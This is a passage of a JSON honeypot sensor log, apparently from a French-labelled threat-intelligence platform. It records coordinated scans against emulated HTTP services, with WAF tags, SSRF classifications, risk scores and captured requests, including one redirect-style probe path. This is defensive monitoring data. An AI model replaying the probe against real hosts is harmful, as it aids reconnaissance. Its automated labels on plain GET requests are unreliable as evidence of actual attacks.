\u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8009, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228009 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228009\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8009","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14633512,"ip":"34.19.116.51","ts":"2026-07-31 15:11:21.000000","proto":"tcp","src_port":4332,"dst_port":8040,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022536ef780c53aff4571829d7569317b48bd3c681f\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.352983936157643, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8040, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00220230c466a95c1b77f2132c60e1f0bd624096aa92\u0022, \u0022event_fingerprint\u0022: \u00226b48df12f748b1fa3e8f3ce127735f04dd41e370\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002227bc2bccf5c9138c3bbe6b96e8876d65\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8040, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002228bb29e05e6bee81c3d401fc10c1581106b0e947\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8040, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228040 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8040, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8040, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8040\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228040 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228040\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8040","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14632890,"ip":"34.19.116.51","ts":"2026-07-31 15:11:09.000000","proto":"tcp","src_port":36864,"dst_port":9000,"service":"http","classification":"ssrf_internal","waf_score":19,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/%5cgoogle.com\/4af206ebd4.html","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: \u0022html\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00220b37967bee449c869824b09189219b57c1712bae\u0022, \u0022http_target_hash\u0022: \u0022eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 245, \u0022payload_entropy\u0022: 5.440921240386983, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 9000, \u0022risk_waf\u0022: 84.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 57, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022453498e87e825cecea3232558f84c7576c449cac\u0022, \u0022event_fingerprint\u0022: \u002225122caf266f41952b8e33155fc69267bd466eda\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022ddc220fff15d44d07ec254dee9aa76b9\u0022, \u0022path_pattern_hash\u0022: \u00221ff0d8dcf831a076b212dbddfef2a545\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 9000, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 57}, \u0022payload_preview\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00222b4c83526054240dae0a81cddf9bafbc5c159dc0\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9000, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:9000 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022target_port_label\u0022: \u00229000 \u00b7 HTTP\u0022, 